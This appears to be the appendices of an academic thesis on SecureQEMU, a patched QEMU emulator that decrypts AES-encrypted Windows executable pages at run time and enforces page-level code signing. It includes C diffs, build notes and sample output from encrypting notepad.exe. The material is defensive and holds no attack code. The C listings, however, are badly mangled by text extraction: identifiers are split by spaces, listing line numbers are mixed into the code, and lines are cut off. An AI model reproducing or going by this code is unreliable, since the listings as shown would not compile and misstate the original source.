c r3 index = env−>cr [ 3 ] >> TARGET PAGE BITS;
// f i r s t or only module loaded needs to c l e a r shadow page tab l e
336 i f ( env−>r eg s [R EBX] == 0xCEEDBEED | | env−>r eg s [R EBX] == 0xCEEDCEED)
f ree shadow pages ( c r3 index ) ;
else i f ( env−>r eg s [R EBX] != 0xDEADBEEF)
return ;
341 // i f shadow page tab l e does not e x i s t then a l l o c a t e one
i f ( ( c t e = ( u in t32 t ∗) c r 3 t ab l e [ c r3 index ] ) == 0) {
102
num protec ted proces se s++;
i f ( num protec ted proces se s > g max pro t ec t ed proce s s e s )
346 f r e e l r u p a g e s ( ) ;
i f ( ( c te = ( ( u in t32 t ∗) c r 3 t ab l e [ c r3 index ] ) =
( u in t32 t ∗) c a l l o c ( (1 << 20) , s izeof ( u in t32 t ∗) ) ) == NULL) {
p r i n t f ( " C o u l d not a l l o c a t e m e m o r y for s h a d o w p a g e t a b l e !\ n " ) ;
351 return ;
}
}
// read i n i t i a l i z a t i o n vector / s a l t
356 i f ( cpu memory rw debug ( env , env−>r eg s [R EDX] , i v s a l t , 16 , 0) != 0) {
p r i n t f ( " C o u l d not r e a d iv / s a l t at v i r t u a l a d d r e s s 0 x %08 x !\ n " , env−>r eg s [R EDX] ) ;
return ;
}
361 PKCS5 PBKDF2 HMAC SHA1( g szPass , s t r l e n ( g szPass ) , i v s a l t , 16 , 1 , ( g i B i t s >> 3) , g key ) ;
AES set decrypt key ( g key , g iB i t s , &aesKey ) ;
// sk ip page s i gn ing vaddr/ s i z e /hmac tup l e s
dwOffset = 16 ;
366 s i z e = 1 ;
while ( s i z e != 0) {
i f ( cpu memory rw debug ( env , env−>r eg s [R EDX] + dwOffset , (unsigned char∗)&vaddr , 4 , 0) != 0...
| |
cpu memory rw debug ( env , env−>r eg s [R EDX] + dwOffset + 4 , (unsigned char∗)&s i z e , 4 , 0) ...
!= 0)
return ;
371 dwOffset += 8 + SHA256 DIGEST LENGTH;
}
// read and decrypt vaddr/ s i z e pa i r s f o r encrypted r eg i on s
DoDecryptHelper (0 ) ;
376 }
Only in . / secureqemu / : secureqemu . h
/∗ SecureQEMU ∗/
#include " aes . h "
381
//#de f i n e DISABLE DEBUGGING SUPPORT
#define KEY BITS 256 // 128 , 192 or 256 b i t keys
extern u in t32 t g max pro t ec t ed proce s s e s ;
386 extern u in t32 t ∗ c r 3 t ab l e [ ( 1 << 20) ] ;
extern u in t32 t ∗ c r 3 s i g n e d t ab l e [ ( 1 << 20) ] ;
extern u in t64 t c r 3 l a s t a c c e s s t a b l e [ ( 1 << 20) ] ;
extern u in t32 t pag e s i gn enab l ed t ab l e [ ( 1 << 20) ] ;
extern AES KEY aesKey ;
391 extern unsigned char ∗g key ;
extern unsigned char i v [ ] ;
extern int g SecureQEMUEnabled ;
extern int g PageSignEnabled ;
extern char ∗ g szPass ;
396 extern u in t32 t g iB i t s ;
void DoEncryptedOnly ( ) ;
void DoPageSigning ( ) ;
d i f f −r . / qemu−0.9.1/ target−i 386 / he lpe r . c . / secureqemu/ target−i 386 / he lpe r . c
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401 22a23 ,24
> #inc lude " s e c u r e q e m u . h "
>
2731 a2734
> #i f ! de f ined (DISABLE DEBUGGING SUPPORT)
406 2732 a2736
> #end i f
d i f f −r . / qemu−0.9.1/ target−i 386 / t r a n s l a t e . c . / secureqemu/ target−i 386 / t r a n s l a t e . c
31a32 ,34
> /∗ SecureQEMU ∗/
411 > #inc lude " s e c u r e q e m u . h "
>
2368 a2372 ,2373
> /∗ SecureQEMU ∗/
> #i f ! de f ined (DISABLE DEBUGGING SUPPORT)
416 2372 c2377
< g en op s i n g l e s t e p ( ) ;
−−−
> g en op s i n g l e s t e p ( ) ;
2373 a2379
421 > #end i f
2375 a2382
> #i f ! de f ined (DISABLE DEBUGGING SUPPORT)
2376 a2384
> #end i f
426 3719 a3728
>
5487 a5497 ,5498
> /∗ SecureQEMU ∗/
> #i f ! de f ined (DISABLE DEBUGGING SUPPORT)
431 5490 c5501
< break ;
−−−
> break ;
5492 a5504
436 > #end i f
5498 a5511
> #i f ! de f ined (DISABLE DEBUGGING SUPPORT)
5499 a5513 ,5515
> #else
441 > } else i f ( va l != 1) {
> #end i f
5512 a5529
> #i f ! de f ined (DISABLE DEBUGGING SUPPORT)
5516 c5533
446 < #i f 1
−−−
> #i f 1
5523 a5541
> #end i f
451 6786 a6805 ,6807
>
> /∗ SecureQEMU ∗/
> #i f ! de f ined (DISABLE DEBUGGING SUPPORT)
6793 a6815 ,6822
456 > #else
> i f ( f l a g s & HF INHIBIT IRQ MASK) {
> gen jmp im ( pc pt r − dc−>c s ba s e ) ;
> gen eob ( dc ) ;
> break ;
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461 > }
>
> #end i f
6846 a6876
>
466 6849 a6880 ,6938
> extern void do memory save eip (CPUState ∗env ,
> u in t32 t s i z e , const char ∗ f i l ename ) ;
>
> /∗ SecureQEMU ∗/
471 > in l ine int SecureQEMUDecrypt (CPUState ∗env , Trans lat ionBlock ∗tb , int s ea rch pc ) {
>
> /∗ SecureQEMU ∗/
> stat ic int index1 , index2 , r e t ;
> stat ic u in t32 t ∗ c te ;
476 > stat ic u in t 8 t ∗pte1 , ∗pte2 ;
> stat ic t a r g e t phy s add r t temp addend1 , temp addend2 ;
> stat ic u in t32 t c r3 index ;
>
> c r3 index = env−>cr [ 3 ] >> TARGET PAGE BITS;
481 >
> i f ( c r 3 t ab l e [ c r3 index ] ) { //The cur rent proce s s i s being protec ted
> c te = c r 3 t ab l e [ c r3 index ] ;
>
> //used to f r e e decrypted pages o f the l e a s t r e c en t l y used protec ted proce s s i f SecureQEMU...
runs out o f memory
486 > c r 3 l a s t a c c e s s t a b l e [ c r3 index ] = c lock ( ) ;
>
> i f ( pte1 = cte [ env−>e ip >> TARGET PAGE BITS ] ) {
>
> cpu x86 handle mmu fault ( env , env−>eip , 0 , 1 , 1) ;
491 > cpu x86 handle mmu fault ( env , env−>e ip + TARGET PAGE SIZE, 0 , 1 , 1) ;
>
> //Poison TLB Cache ( Current Page + next page i f needed )
> index1 = ( env−>e ip >> TARGET PAGE BITS) & (CPU TLB SIZE − 1) ;
>
496 > temp addend1 = env−>t l b t a b l e [ 1 ] [ index1 ] . addend ;
> env−>t l b t a b l e [ 1 ] [ index1 ] . addend = ( pte1 − ( env−>e ip & TARGET PAGE MASK) ) ;
> i f ( pte2 = cte [ ( env−>e ip >> TARGET PAGE BITS) +1]) {
> index2 = ( index1+1) & (CPU TLB SIZE − 1) ;
> temp addend2 = env−>t l b t a b l e [ 1 ] [ index2 ] . addend ;
501 > env−>t l b t a b l e [ 1 ] [ index2 ] . addend = pte2 − ( ( env−>e ip + TARGET PAGE SIZE) & ...
TARGET PAGE MASK) ;
> }
>
> r e t = gen i n t e rmed i a t e c od e i n t e r na l ( env , tb , s ea rch pc ) ;
>
506 > //Unpoison the TLB
> env−>t l b t a b l e [ 1 ] [ index1 ] . addend = temp addend1 ;
> i f ( pte2 )
> env−>t l b t a b l e [ 1 ] [ index2 ] . addend = temp addend2 ;
> }
511 > else i f ( pag e s i gn enab l ed t ab l e [ c r3 index ] && ( env−>h f l a g s & HF CPL MASK) == 3) {
> p r i n t f ( " T r y i n g to e x e c u t e c o d e in u n s i g n e d p a g e at a d d r e s s 0 x %08 x !\ n " ,
> env−>e ip ) ;
> do memory save eip ( env , env−>e ip & ˜TARGET PAGE MASK, " s e c u r e q e m u _ u n s i g n e d _ c o d e " ) ;
> e x i t (−1) ;
516 > }
> else
> r e t = gen i n t e rmed i a t e c od e i n t e r na l ( env , tb , s ea rch pc ) ;
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> }
> else
521 > r e t = gen i n t e rmed i a t e c od e i n t e r na l ( env , tb , s ea rch pc ) ;
>
> return r e t ;
> }
>
526 6851 ,6852 c6940 ,6941
< {
< return g en i n t e rmed i a t e c od e i n t e r na l ( env , tb , 0) ;
−−−
> {
531 > return SecureQEMUDecrypt ( env , tb , 0) ;
6857 c6946
< return g en i n t e rmed i a t e c od e i n t e r na l ( env , tb , 1) ;
−−−
> return SecureQEMUDecrypt ( env , tb , 1) ;
536 d i f f −r . / qemu−0.9.1/ v l . c . / secureqemu/ v l . c
40a41 ,43
> /∗ SecureQEMU ∗/
> #inc lude " s e c u r e q e m u . h "
>
541 7600 a7604
> " ( Not s u p p o r t e d by S e c u r e Q E M U ) \ n "
7601 a7606
> " ( Not s u p p o r t e d by S e c u r e Q E M U ) \ n "
7620 a7626 ,7639
546 > " S e c u r e Q E M U o p t i o n s :\ n "
> " - key p a s s w o r d p a s s w o r d u s e d to d e r i v e the key \ n "
> " - b i t s s i z e s i z e of the d e r i v e d key \ n "
> " 128 , 192 or 256 ( D e f a u l t is 2 5 6 ) \ n "
> " - n num max n u m b e r of p r o t e c t e d p r o c e s s e s e x e c u t i n g \ n "
551 > " c o n c u r r e n t l y ( D e f a u l t is 64) \ n "
> " N O T E : if max p r o c e s s e s is r e a c h e d t h e n the \ n "
> " s h a d o w p a g e t a b l e and d e c r y p t e d p a g e s \ n "
> " for the l e a s t r e c e n t l y e x e c u t e d p r o t e c t e d \ n "
> " p r o c e s s are d e a l l o c a t e d \ n "
556 > " - p a g e s i g n e n a b l e s page - g r a n u l a r i t y c o d e s i g n i n g \ n "
> " o n l y user - l e v e l p a g e s w i t h v a l i d H M A C s are e x e c u t e d \ n "
> " ( R e q u i r e s - key o p t i o n f i r s t ) \ n "
> " \ n "
7721 a7741 ,7744
561 > QEMU OPTION key,
> QEMU OPTION bits ,
> QEMU OPTION pagesign ,
> QEMU OPTION n,
7829 a7853 ,7856
566 > { " key " , HAS ARG, QEMU OPTION key} ,
> { " b i t s " , HAS ARG, QEMU OPTION bits} ,
> { " p a g e s i g n " , 0 , QEMU OPTION pagesign} ,
> { " n " , HAS ARG, QEMU OPTION n} ,
8064 c8091
571 < int i ;
−−−
> int i , p , j ;
8554 a8582 ,8583
> p r i n t f ( " O p t i o n - - no - k q e m u is not s u p p o r t e d by S e c u r e Q E M U !\ n " ) ;
576 > e x i t (−1) ;
8557 a8587 ,8588
> p r i n t f ( " O p t i o n - - kernel - k q e m u is not s u p p o r t e d by S e c u r e Q E M U !\ n " ) ;
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> e x i t (−1) ;
8627 a8659 ,8690
581 >
> /∗ SecureQEMU ∗/
> case QEMU OPTION bits :
> g iB i t s = a to i ( optarg ) ;
> i f ( g iB i t s != 128 && g iB i t s != 192 && g iB i t s != 256) {
586 > f p r i n t f ( s tder r , " Key s i z e m u s t be 128 , 192 or 256 b i t s !\ n " ) ;
> e x i t (1 ) ;
> }
> break ;
>
591 > /∗ SecureQEMU ∗/
> case QEMU OPTION key :
> j = s t r l e n ( optarg )+1;
> g szPass = malloc ( j ) ;
> strncpy ( g szPass , optarg , j ) ;
596 > g SecureQEMUEnabled = 1 ;
> g key = malloc ( g iB i t s >> 3) ;
> break ;
>
> /∗ SecureQEMU ∗/
601 > case QEMU OPTION pagesign :
> i f ( ! g SecureQEMUEnabled ) {
> f p r i n t f ( s tder r , " P a g e s i g n i n g r e q u i r e s - key o p t i o n !\ n " ) ;
> e x i t (1 ) ;
> }
606 > g PageSignEnabled = 1 ;
> break ;
>
> case QEMU OPTION n:
> g max pro t ec t ed proce s s e s = a to i ( optarg ) ;
611 > break ;
>
8809 a8873 ,8880
> /∗ SecureQEMU ∗/
> for ( j = 0 ; j < (1 << 20) ; j++) {
616 > c r 3 l a s t a c c e s s t a b l e [ j ] = ˜0 ;
> c r 3 t ab l e [ j ] = 0 ;
> c r 3 s i g n e d t ab l e [ j ] = 0 ;
> page s i gn enab l ed t ab l e [ j ] = 0 ;
> }
621 >
8980 a9052
>
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Appendix E. Installation
SecureEncryptor compiles and runs on Windows OS (NT Family) on Intel x86 or x86 64 architecture. SecureQEMU compiles and
runs on Linux (tested using Linux 2.6.24-16-generic) on Intel x86 or x86 64 architecture. The following lists dependencies and build
procedures for SecureEncryptor and SecureQEMU.
E.1 SecureEncryptor
SecureEncryptor uses Win32 OpenSSL 0.9.8h for the AES encyrption routines. Win32 OpenSSL may be obtained from
http://www.slproweb.com/products/Win32OpenSSL.html.
SecureEncryptor should be compiled using Microsoft’s Visual Studio (VS). The source code and command-line to build Se-
cureEncryptor is included in Appendix C. VS may be obtained from
http://msdn.microsoft.com/en-us/vstudio/default.aspx.
If compiled using VS 2008 SecureEncryptor uses Microsoft Visual C++ 2008 Redistributable Package (x86). The Visual C++
2008 Redistributable Package may be obtained from
http://www.microsoft.com/downloads/.
E.2 SecureQEMU
SecureQEMU uses OpenSSL for runtime decryption. OpenSSL may be obtained from
http://www.openssl.org/source/.
SecureQEMU should be compiled using gcc-3.4. Appendix E contains the makefile modifications to compile SecureQEMU. Gcc
is available at
http://www.gnu.org/software/gcc/.
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Appendix F. Usage
F.1 SecureEncryptor
C:\>SecureEncryptor
Usage: SecureEncryptor PLN_FILE ENC_FILE PASSWORD [KEY_LENGTH]
PLN_FILE The PE file to be encrypted.
ENC_FILE The AES/CBC encrypted PE file to be generated.
PASSWORD Derives the key using PKCS#5/PBKDF2/SHA1.
KEY_LENGTH 128, 192 or 256 (Default=256)
C:\>SecureEncryptor notepad.exe notepad-encrypted.exe secret-password 256
Begin reading file notepad.exe
Open file for reading...success
Reading DOS header...success
Checking for valid DOS signature...success
Reading DOS Stub...success
Reading NT Header...success
Checking for valid NT signature...success
Found 3section headers
Reading section headers...success
Reading header slack space (optional directory data)...success
Reading section data...success
Reading optional Attribute Certificate Table...not applicable
End reading file notepad.exe
***CODE ENCRYPTING***
Enter the virtual address and size of each code block to be encrypted.
Enter a virtual address or size of zero (0x0) when finished.
Address: 0x01001920
Size: 0x6E0
Address: 0x01002000
Size: 0x1000
Address: 0x01003000
Size: 0x1000
Address: 0x01004000
Size: 0x1000
Address: 0x01005000
Size: 0x1000
Address: 0x01006000
Size: 0x1000
Address: 0x01007000
Size: 0x5F0
Address: 0x0
***CODE SIGNING***
Enter the module name, virtual address, and size for each code block to be signed.
Enter a virtual address of zero (0x0) when finished.
Address: 001001920
Size: 0x6E0
Module name: notepad.exe
Address: 0x01002000
Size: 0x1000
Module name: notepad.exe
Address: 0x01003000
Size: 0x1000
Module name: notepad.exe
Address: 0x01004000
Size: 0x1000
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Module name: notepad.exe
Address: 0x01005000
Size: 0x1000
Module name: notepad.exe
Address: 0x01006000
Size: 0x1000
Module name: notepad.exe
Address: 0x01007000
Size: 0x5F0
Module name: notepad.exe
Address: 0x0
...other dlls omitted for bevity...
Will notepad.exe be the only module encrypted or providing code signing? (yes/no) yes
Adding .SigStubs’ section header...success
Adding .SigStubs’ section code and data...success
Adding virtual address/size pair (0x1001920,0x6e0) to file...success
Encrypting code at address 0x1001920 with size 0x6e0...success
Adding virtual address/size pair (0x1002000,0x1000) to file...success
Encrypting code at address 0x1002000 with size 0x1000...success
Adding virtual address/size pair (0x1003000,0x1000) to file...success
Encrypting code at address 0x1003000 with size 0x1000...success
Adding virtual address/size pair (0x1004000,0x1000) to file...success
Encrypting code at address 0x1004000 with size 0x1000...success
Adding virtual address/size pair (0x1005000,0x1000) to file...success
Encrypting code at address 0x1005000 with size 0x1000...success
Adding virtual address/size pair (0x1006000,0x1000) to file...success
Encrypting code at address 0x1006000 with size 0x1000...success
Adding virtual address/size pair (0x1007000,0x5f0) to file...success
Encrypting code at address 0x1007000 with size 0x5f0...success
Adding virtual address/size pair (0x0,0x0) to file...success
Adding initialization vector and salt...success
Adding virtual address/size pair (0x1001920,0x6e0) to file...success
Signing code/data at address 0x1001920 with size 0x6e0...success
Adding virtual address/size pair (0x1002000,0x1000) to file...success
Signing code/data at address 0x1002000 with size 0x1000...success
Adding virtual address/size pair (0x1003000,0x1000) to file...success
Signing code/data at address 0x1003000 with size 0x1000...success
Adding virtual address/size pair (0x1004000,0x1000) to file...success
Signing code/data at address 0x1004000 with size 0x1000...success
Adding virtual address/size pair (0x1005000,0x1000) to file...success
Signing code/data at address 0x1005000 with size 0x1000...success
Adding virtual address/size pair (0x1006000,0x1000) to file...success
Signing code/data at address 0x1006000 with size 0x1000...success
Adding virtual address/size pair (0x1007000,0x5f0) to file...success
Signing code/data at address 0x1007000 with size 0x5f0...success
...other dlls omitted for bevity...
Adding virtual address/size pair (0x0,0x0) to file...success
Updating file entry-point to .SigStub...success
Begin writing file notepad-encrypted.exe
Create new file...success
Writing DOS header...success
Writing DOS stub...success
Writing NT header...success
Writing section headers...success
Writing header slack space (optional directory data)...success
Writing section data...success
Writing optional Attribute Certificate Table...success
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End writing file notepad-encrypted.exe
F.2 SecureQEMU
>qemu
...omitted for brevity...
SecureQEMU options:
-key password password used to derive the key
-bits size size of the derived key
128, 192 or 256 (Default is 256)
-n num max number of protected processes executing
concurrently (Default is 64)
NOTE: if max processes is reached then the
shadow page table and decrypted pages
for the least recently executed protected
process are deallocated
-pagesign enables page-granularity code signing
only user-level pages with valid HMACs are executed
(Requires -key option first)
>qemu -m 512 -hda hda.img -key secret-password -bits 256 -pagesign
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